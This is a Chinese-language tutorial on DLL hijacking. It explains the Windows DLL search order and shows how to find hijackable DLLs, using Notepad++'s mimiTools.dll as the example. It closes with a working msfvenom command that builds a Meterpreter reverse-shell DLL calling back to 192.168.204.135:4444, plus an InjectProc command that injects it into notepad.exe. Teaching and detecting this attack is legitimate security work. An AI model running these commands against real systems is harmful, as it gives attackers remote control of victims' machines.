基本介绍DLL(Dynamic Link Library,动态链接库)文件是一种包含可重用代码、数据和资源的可执行文件格式,在Windows下许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库(DLL文件)放置于系统中,当我们执行某一个程序时,相应的DLL文件就会被调用,一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件
文件加载Windows操作系统中应用程序需要加载动态链接库(DLL)时会按照一定的顺序搜索DLL文件的目录,下面是Windows中查找DLL的目录以及对应的顺序:
程序所在目录:Windows首先在应用程序所在的目录中查找所需的DLL文件,如果DLL文件存在于该目录中则Windows会直接加载该文件,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll也位于同一目录中,那么在这种情况下Windows会直接加载C:\myapp\mylib.dll系统目录(System32):如果DLL文件没有在应用程序所在目录中找到,Windows会继续搜索系统目录,系统目录通常是C:\Windows\System32或C:\Winnt\System32,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll位于C:\Windows\System32目录中,那么在这种情况下Windows会加载C:\Windows\System32\mylib.dllWindows目录(Windows):如果DLL文件没有在系统目录中找到,Windows会继续搜索Windows目录,Windows目录通常是C:\Windows或C:\Winnt,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll位于C:\Windows目录中,那么在这种情况下Windows会加载C:\Windows\mylib.dll当前工作目录:如果DLL文件没有在上述目录中找到,那么Windows会搜索当前工作目录,当前工作目录是指应用程序启动时所在的目录,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll位于C:\myapp\libs目录中,在这种情况下如果应用程序在C:\myapp目录中启动,Windows会加载C:\myapp\libs\mylib.dll环境变量PATH中指定的目录:如果DLL文件没有在上述位置找到,Windows会搜索系统环境变量PATH中指定的目录,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll位于D:\libs目录中,如果将D:\libs添加到系统环境变量PATH中,那么无论应用程序在哪个目录中启动,Windows都会加载D:\libs\mylib.dll劫持原理DLL劫持是指病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的过程,如下图中的al1ex.dll是应用程序运行所需加载的DLL,该系统文件默认存放在Windows系统中的C:\Windows\system32路径下,但由于Windows优先搜索当前路径,所以当我们把恶意al1ex.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作
劫持检查我们可以使用以下方法进行劫持检查:
InjectProcInjectProc-进程注入技术,下载地址:
https://github.com/secrary/InjectProc/releases
软件使用:
Process Explorer在Windows系统中通过任务管理器可以管理查看电脑系统所使用的情况,包括各项进程及CPU的使用情况,还可以查看内存、网卡等使用情况,但系统自带的任务管理器功能相对不够强大,而Process Explorer则可以代替系统自带的任务管理器,它能够方便地为你管理各项程序进程
软件下载地址:
https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
运行软件之后可以看到应用程序Notepad++会加载DLL文件——mimiTools.dll
此dll文件在KnownDLLs中无法找到,所以我们可以在Notepad++.exe程序启动时可以从应用程序自身所在的目录下调用mimiTools.dll文件,我们可以通过替换改文件实现DLL劫持的目的
DLL Hijack AuditorDll Hijack Auditor是一款智能DLL劫持检测工具,它避免木马病毒通过劫持dll动态库文件的方式来实现自身的加载运行,可以有效的避免木马病毒劫持动态库文件
软件下载地址:
http://securityxploded.com/getsoftware_direct.php?id=7777
劫持验证启动应用程序使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库从该应用程序已加载的DLL列表中,查找在KnowsDLLs注册表项不存在的DLL随后构造恶意DLL文件并劫持的DLL放到该应用程序目录下,重新启动该应用程序,检查是否劫持成功注入演示首先使用msfvenom生成dll
代码语言:javascript代码运行次数:0运行复制msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.204.135 LPORT=4444 -f dll >mimiTools.dll随后打开msf并开启监听
随后将生成的dll文件丢到目标主机中并打开notepad程序输入一下命令
代码语言:javascript代码运行次数:0运行复制InjectProc.exe dll_inj mimiTools.dll notepad.exe随后在msf终端收到反弹的shell:
文末小结本篇文章我们主要介绍了DLL劫持的基本原理以及DLL劫持的检测方式,最后我们介绍了DLL注入的方法~